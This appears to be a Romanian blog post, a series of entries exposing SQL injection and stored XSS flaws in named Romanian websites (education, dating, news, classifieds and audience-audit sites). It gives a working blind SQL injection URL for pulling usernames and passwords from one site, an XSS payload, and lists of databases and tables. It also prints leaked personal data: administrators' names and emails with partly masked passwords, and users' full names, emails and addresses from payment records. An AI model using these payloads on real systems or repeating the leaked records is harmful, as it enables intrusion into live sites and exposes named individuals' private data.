” Didactic.ro: materiale didactice, reviste scolare, totul despre scolile din Romania. planuri de lectie, planificari, examene, teste ” …cat si o vulnerabilitate la sql injection prin care se pot extrage, printre altele si datele de logare, personale a catorva zeci de mii de profesori si nu numai (nume, prenume, varsta, scoala, localitatea, judetul, adresa de email, id-ul, cat si parola in text clar !!!!)

Macar pentru utilizatorii forumului parolele sunt criptate

P.S. In timp ce ma pregateam sa anunt adminii site-ului am dat de niste detalii, deloc inbucuratoare pentru noi si cei vizati.
“Cine suntem noi
Acest proiect a fost pornit ca o initiativa a firmei Softwin (http://www.softwin.ro).
Coordonatorul de proiect este Emil Onea, inspector de informatica. Il puteti contacta pe adresa emilddd@yahoo.com. ”
Rusinica softwin, rusinica domnule inspector de informatica ..nu ne asteptam !

“Intra pe cel mai dinamic site de matrimoniale pentru femei si barbati peste 18 ani” ..ne indeamna sloganul site-ului. Atunci, hai sa intram. Parametrul vulnerabil la blind sql injection este: gender= . Prima data interogam numele bazelor de date. Nu mica ne este surpriza sa vedem ca iar sunt tinute pe aceasi server sql datele a mai multor baze de date distincte cum ar fi elmaz_admin_es, elmaz_admin_pl, elmaz_admin_ro (adica nu doar pt site-ul romanesc ci si pentru cele din alte tari). Datele de logare a userilor sunt stocate in baza de date Account iar coloanele care ne intereseaza pe noi sunt denumite Username si Password. Blind SQL injection se bazeaza pe un principiu simpu : de adevar si fals. Adica la o interogare adevarata se incarca pagina la una falsa, nu. Sa facem sintaxa:
http://www.elmaz.ro/index.php?page=list&gender=2+and+ascii(substring((SELECT+concat(Username,0×3a,Password)+from+Account+limit+30000,1),1,1))%3E115
Prima litera a username-ului (pentru userul 30.000 din tabel) in ascii este mai mare decat 115 dar nu mai mare decat 116 (ne dam seama inlocuind 115 cu 116… nu se va mai incarca pagina) , deci este egal cu 116. In tabelul Ascii numarului 116 corespunde litera t . Elmazzzzzzzz…..venim ! (hihi)

“Cel mai bun site pentru femeile din Romania include zilnic subiecte despre cariera, frumusete, moda, dragoste, stil de viata, horoscop, discutii pe message…” Nu stiu daca la categoriile enumerate mai sus este cel mai bun, in schimb sunt convins ce priveste siguranta datelor stocate pe serverul mysql este la fel de vulnerabil ca oricare alt site prost securizat. Dovada sta print screenul din care se vede clar cu cata usurinta se pot extrage datele de logare a celor inregistrati.(Parolele sunt salvate in text clar)

Dupa ce, cu putin timp in urma, site-ul concurent (trafic.ro) avea diverse probleme din cauza carora se zvonea ca multi clienti vor migra catre sati , uite ca si aici apar vulnerabilitati serioase ce priveste siguranta site-ului. Deci direct sau indirect si in monitorizarea traficului internet. Cum traficul in ziua de azi inseamna bani, ma intreb pe viitor, noi in cine se ne incredem ?

Va prezint tabelele bazei de date :

+—————————-
| administrative_users
| automailer
| brat_audit_statuses
| brat_cd_2008_produse_media
| brat_certificate_data
| brat_certificate_flows
| brat_certificate_statuses
| brat_certificate_transcripts
| brat_certificates
| brat_circulation_areas
| brat_emails
| brat_frequences
| brat_sites
| brat_statuses
| brat_users
| cifre_difuzare
| cifre_difuzare_comments
| cifre_difuzare_sumar
| cifre_difuzare_trimestre
| consiliul_administrativ
| document_categories
| documents
| guests
| members_advertising_agencies
| members_advertising_clients
| members_outdoor_agencies
| members_publishers
| members_sales_house
| members_web_editors
| month
| news
| newsletter
| observation_audit
| publications
| sati_categories
| sati_certificates
| sati_certificates_daily
| sati_certificates_weekly
| sati_classes
| sati_comments
| sati_companies
| sati_editors
| sati_editors_groups
| sati_faqs
| sati_news
| sati_site_aliases
| sati_site_codes_suppliment
| sati_sites
| sati_subcategories
| sati_web
| sesizari
| sesizari_categories
| settings
| sna_circulation_areas
| sna_circulation_areas_publication
| sna_results
| sna_results_publication
| transcripts
+—————————

Si cireasa de pe tort este desigur tabelul cu datele de logare a adminilor (parolele lor fiind, cum altfel, decat in text clar):

+————————–+——————–+————–+—————+
| email | name | password | username |
+————————–+——————–+————–+—————+
| arina@brat.ro | Arina Ureche | brXXXX | arina |
| adrian@brat.ro | Adrian Motirlichie | leXXXX | motz |
| catalin_ilea@brat.ro | Catalin Ilea | muXXXX | catalin |
| sorina_buzatu@brat.ro | Sorina Buzatu | sorXXXX | sorina_buzatu|
| daniel_secarea@brat.ro | Daniel Secarea | nilXXXX | daniels |
| constantin_popa@brat.ro | Constantin Popa | 12cXXXX | costi_popa |
| zsombor.zsuffa@aliat.net | Zsombor Zsuffa | winXXXX | zsombor |
| emanuel.socol@aliat.net | Emanuel Socol | robXXXX | buscador |
| client_service@brat.ro | Costi Mocanu | costXXXX | costi_mocanu|
+————————–+———————+—————+————-+

Se pare ca si micul nostru “mobile.de” are grave probleme de securitate. ” Auto in Romania inseamna autovit.ro Cea mai mare baza de date cu anunturi de vanzare si cumparare ..” cat si date de logare, date despre firme,etc -as putea continua eu- accesibile oricui, datorita vulnerabilitatii la sql injection.
Tabelul utilizatori cu numele, numarul de telefon, adresa de email si parola celor inregistrati

Culmea ironiei, ce m-a amuzat enorm este textul incercuit de mine, din imaginea de mai sus “Preluarea oricarei informatii de pe acest site in scopul republicarii totale sau partiale sub orice forma fara acordul scris sau cererea expresa a VisualSoft este strict interzisa” . Am inteles sa traiti, dar atunci va rugam si noi , mult de tot, sa va securizati parametrii, pentru ca asa ,numai cine nu vrea nu se serveste din acele informatii. “Contactati tehnic@visualsoft.ro pentru orice problema referitoare la site” –mail trimis, hihi.

Inca un print screen cu clienti firme , al autovit:

Dupa cum am promis acum ceva timp am mai facut un mic test asupra filtrelor ce ar trebui sa previna injectarea scripturilor in site-ul http://eok.ro. Din pacate am fost dezamagit atunci cand am injectat fara probleme acest mic cod:
<object data="javascript:alert(1)" type="text/html" height="100%" width="100%"></object>
in rubrica de comentarii a unui user si desigur in spatiul dedicat embed-ului video. Deci xss permanent.

Nu vreau sa aveti impresia ca este ceva personal dar aveti datoria de a va proteja userii (care nu sunt chiar putini) de orice atac care ii poate afecta in mod direct. Chiar nu am stat sa testez fiecare loc unde se poate injecta un script asa ca va las pe voi sa le luati la mana.

P.S. – captcha de la inregistrare da rateuri grave. Am stat 5 minute sa imi accepte codul (chior nu sunt), plus ca mi s-a facut refresh la pagina de inregistrare cand imi era lumea mai draga. Cred ca putina “reglare” a scripturilor nu strica.

P.S. 2 – pup pe Cristina “Pyuric” ca este o dulceata de fata

“Stiri de ultima ora, actualitatea romaneasca si internationala si cele mai importante stiri ale zilei din economie, stiinta, politica, etc” …si un mic sqli, adica o vulnerabilitate de tip sql injection. Sa vedem denumirea tabelelor:

Cat si un print screen cu autorii,editorii ziarului (adresa lor de email si ip …intentionat am omis ,de data asta, coloana cu parole din sintaxa)

Oare ce ar zice perfectionistul CTP daca ar citi aceste randuri?

“Nu stii unde au disparut fetele frumoase?! Sunt toate pe simpatie.ro! Poti deja sa uiti de celelalte site-uri de matrimoniale pentru ca aici vei gasi totul” Da, totul..inclusiv un parametru vulnerabil la blind sql injection prin care se pot extrage -ca si in cazul neogen -toate bazele de date care apartin acelui trust (3x). Nu vreau sa fiu rautacios, dar totusi site-uri cu asemenea trafic, si-ar putea permite -parerea mea- sa aibe propriul server sql, unde sa fie stocate doar datele site-ului respectiv.

available databases [15]:
[*] ad_3xmedia_ro
[*] apetisant
[*] backup
[*] contab
[*] deliciu
[*] email
[*] indecent
[*] information_schema
[*] intimitate
[*] maildrop
[*] matrimoniale
[*] mysql
[*] simpatie
[*] sms
[*] test

Deci se pot extrage date de logare, de epayment , sms ,etc pentru site-urile apetisant.ro , deliciu.ro , indecent.ro , intimitate.ro , matrimoniale3x.ro , simpatie.ro , cat si pentr 3x(media).ro

Tabelul cu datele de logare pt admini :

REMOVED  la cerere ( “Am aprecia daca informatiile confidentiale prezente la dvs pe blog le-ati sterge. Ma refer la tabela de parole si lista de baze de date. Fundateanu Robert, 3x media international ” citez din mailul primit de la adminul site-ului)

Printre mii de tabele exista unul denumit z_emails in care -incredibil, dar adevarat- sunt stocate peste 1 milion de adrese de email. Adunate,generate,luate,sau pur si simplu din inregistrari ??? nush,habar n-am. Sa nu facem presupuneri, dar daca sunt folosite la ce ma gandesc eu, rusinica lor.

Cateva exemple de parole epayment (folosite,desigur)
MATRIMONIALE_239L_folosita:1364829:Costin:Dobosan:radu2911@yahoo.com:Romania:bucuresti:7000
MATRIMONIALE_23HP:1044673:Georg-Heinz:Pape:georg-pape@web.de:Germany:Alsdorf:52477
MATRIMONIALE_245DUE8_folosita:1118224:oprisan:dumitru:ineedwhat6666@yahoo.com:Canada:edmonton:t5y1m4
MATRIMONIALE_24QNB_folosita:2037065:furculesteanu:razvan victor:coolandy23@yahoo.com:Romania:bucuresti:0700

“Cea mai mare comunitate online din Romania. Prieteni, relatii, comunicare, distractie” … Mda, si un server vulnerabil la sql injection, prin care se pot extrage toate datele intregului sistem. Adica nu doar datele site-ului colegi.ro (care de fapt este vulnerabil) , ci si datele tuturor site-urilor apartinatoare acestui trust, cum ar fi bestjobs.ro , neobizz.ro , neogen.ro , noi2.ro. Din print screen-ul de mai jos se vad denumirile catorva baze de date:

Un prent screeen cu versiunea serverului mysql

Cat si o poza cu denumirea coloanelor noi2_sms_payment (din tabelul plati sms pt site-ul noi2.ro)

“Evenimentul zilei online: Net superior.Publicatia online a cotidianului Evenimentul Zilei”

Mda, net superior. Cui si/sau din ce puncte de vedere? Pentru ca la capitolul vulnerabilitati sta mai prost ca un site mic, bine securizat. Cu peste 600.000 de vizitatori si aproape 4 milioane de afisari in ultimele 7 zile (sursa: trafic.ro) evenimentul zilei ofera acces nelimitat la baza sa de date. Ce contine o baza de date? Multe. Printre care datele de logare a utilizatorilor, a editorilor, a adminilor (cont mysql), mii de adrese de email a celor inscrisi pentru newsletter ,etc (chiar si un tabel denumit “cucu”).

Schema name:

Username si parola pt mysql user (admin)

Conturile utilizatorilor, cu parola in text clar !!!!!!!!!

Cat si o cantitate impresionanta de adrese email a celor inscrisi pentru newsletter